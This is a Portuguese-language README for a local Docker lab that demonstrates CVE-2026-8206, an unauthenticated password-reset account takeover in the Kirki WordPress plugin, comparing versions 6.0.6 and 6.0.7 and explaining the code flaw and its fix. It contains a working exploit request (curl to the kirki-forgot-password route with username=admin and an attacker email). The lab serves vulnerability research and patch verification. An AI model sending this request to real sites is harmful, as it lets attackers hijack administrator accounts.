
Laboratório Docker local para demonstrar a CVE-2026-8206 no plugin Kirki para WordPress.
Este repositório compara as versões reais do plugin Kirki:
vuln: Kirki 6.0.6patched: Kirki 6.0.7O laboratório é apenas local e vincula os serviços WordPress a 127.0.0.1.
O PoC é de dano mínimo: ele solicita uma redefinição de senha e verifica o destinatário do e-mail capturado dentro do laboratório. Ele não altera nenhuma senha.
A CVE-2026-8206 é uma vulnerabilidade de assunção de conta / escalonamento de privilégios não autenticado nas versões 6.0.0 a 6.0.6 do Kirki.
O manipulador de redefinição de senha vulnerável cria uma chave de redefinição para um usuário real do WordPress selecionado por username, mas envia o e-mail de redefinição para um endereço de e-mail arbitrário fornecido na requisição.
Neste laboratório:
vulnerable => reset link for admin is sent to [email protected]
patched => mismatched email is rejected and no reset email is sent to [email protected]
6.0.0 a 6.0.66.0.7/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password
O manipulador vulnerável é:
wp-content/plugins/kirki/ComponentLibrary/controller/CompLibFormHandler.php
O Kirki lê o e-mail fornecido pelo atacante no corpo da requisição:
$email = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] ) : '';
Em seguida, ele resolve o usuário WordPress alvo pelo nome de usuário e cria uma chave de redefinição de senha para esse usuário:
$key = get_password_reset_key( $user );
Mas o e-mail de redefinição final é enviado para o $email fornecido na requisição:
$sent = wp_mail( $email, $email_subject, $email_body, $headers );
Isso rompe o limite de confiança entre a identidade da conta e o destinatário do e-mail de redefinição. Um solicitante não autenticado pode fornecer:
username=admin
[email protected]
A chave de redefinição pertence a admin, mas o e-mail é entregue ao endereço controlado pelo atacante.
O Kirki 6.0.7 valida que o e-mail fornecido corresponde ao e-mail registrado do usuário resolvido e, em seguida, força o destinatário para o e-mail da conta antes de enviar:
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
// reject request
}
$email = $user_email;
$sent = wp_mail( $email, $email_subject, $email_body, $headers );
O e-mail local é capturado em arquivos em vez de ser enviado externamente:
artifacts/vuln-mail/
artifacts/patched-mail/
O laboratório usa versões reais do plugin Kirki instaladas com WP-CLI. O código-fonte do plugin não é modificado.
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── docker/
│ ├── capture-mail
│ └── mail-capture.ini
├── scripts/
│ └── setup-wordpress.sh
├── poc/
│ ├── poc_local.py
│ └── run_lab_poc.sh
├── docs/
│ └── notes.md
├── SAFETY.md
├── README.md
└── .gitignore
requests do PythonInstale a dependência Python se necessário:
python3 -m pip install requests
Inicie os contêineres:
docker compose up -d --build
Popule ambas as instâncias do WordPress:
docker compose run --rm wpcli_vuln
docker compose run --rm wpcli_patched
Execute o PoC:
chmod +x poc/run_lab_poc.sh
./poc/run_lab_poc.sh
Resultado esperado:
[+] request: http=200 body='{"message":"Email sent"}'
[+] mail_state=MAIL_TO_ATTACKER_WITH_RESET_LINK: reset link sent to attacker-controlled email
[+] verdict=VULNERABLE_BEHAVIOR_CONFIRMED
To: [email protected]
Subject: CVE-2026-8206 local lab proof
Isso prova que a versão vulnerável enviou um e-mail de redefinição de senha da conta alvo para o endereço controlado pelo atacante.
Resultado esperado:
[+] request: http=404 body='{"message":"Invalid email address"}'
[+] mail_file=none
[+] mail_state=NO_MAIL: no captured reset email
[+] verdict=PATCHED_BEHAVIOR_CONFIRMED_NO_RESET_MAIL_TO_ATTACKER
Isso prova que a versão corrigida rejeita a divergência entre nome de usuário e e-mail e não envia o e-mail de redefinição para o endereço controlado pelo atacante.
Crie o nonce correto do elemento Kirki dentro do laboratório vulnerável:
NONCE="$(docker compose run --rm --entrypoint wp wpcli_vuln eval 'echo wp_create_nonce(KIRKI_COMPONENT_LIBRARY_APP_PREFIX . "_kirki-forgot-password");' | tail -n 1)"
Envie uma requisição apenas local ao serviço vulnerável:
curl -i -s -X POST "http://127.0.0.1:8081/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password" \
-H "X-WP-Element-Nonce: $NONCE" \
-d "username=admin" \
-d "[email protected]" \
--data-urlencode "emailSubject=CVE-2026-8206 local lab proof" \
--data-urlencode 'emailBody=[{"type":"text","value":"Local lab reset link: "},{"type":"chip","value":"reset_link"}]'
Verifique o e-mail capturado:
grep -R "^To:\|action=rp\|login=admin" artifacts/vuln-mail/
Evidência vulnerável esperada:
To: [email protected]
... action=rp ... login=admin ...
Este laboratório é destinado apenas a pesquisa de segurança local e demonstração de portfólio.
Salvaguardas:
127.0.0.1.docker compose down -v --remove-orphans
rm -rf artifacts/vuln-mail artifacts/patched-mail
| Serviço | Finalidade | URL do host |
|---|
vuln | WordPress + Kirki 6.0.6 | http://127.0.0.1:8081 |
patched | WordPress + Kirki 6.0.7 | http://127.0.0.1:8082 |
db_vuln | MySQL para o WordPress vulnerável | somente rede Docker |
db_patched | MySQL para o WordPress corrigido | somente rede Docker |
wpcli_vuln | Popula o WordPress vulnerável | configuração única |
wpcli_patched | Popula o WordPress corrigido | configuração única |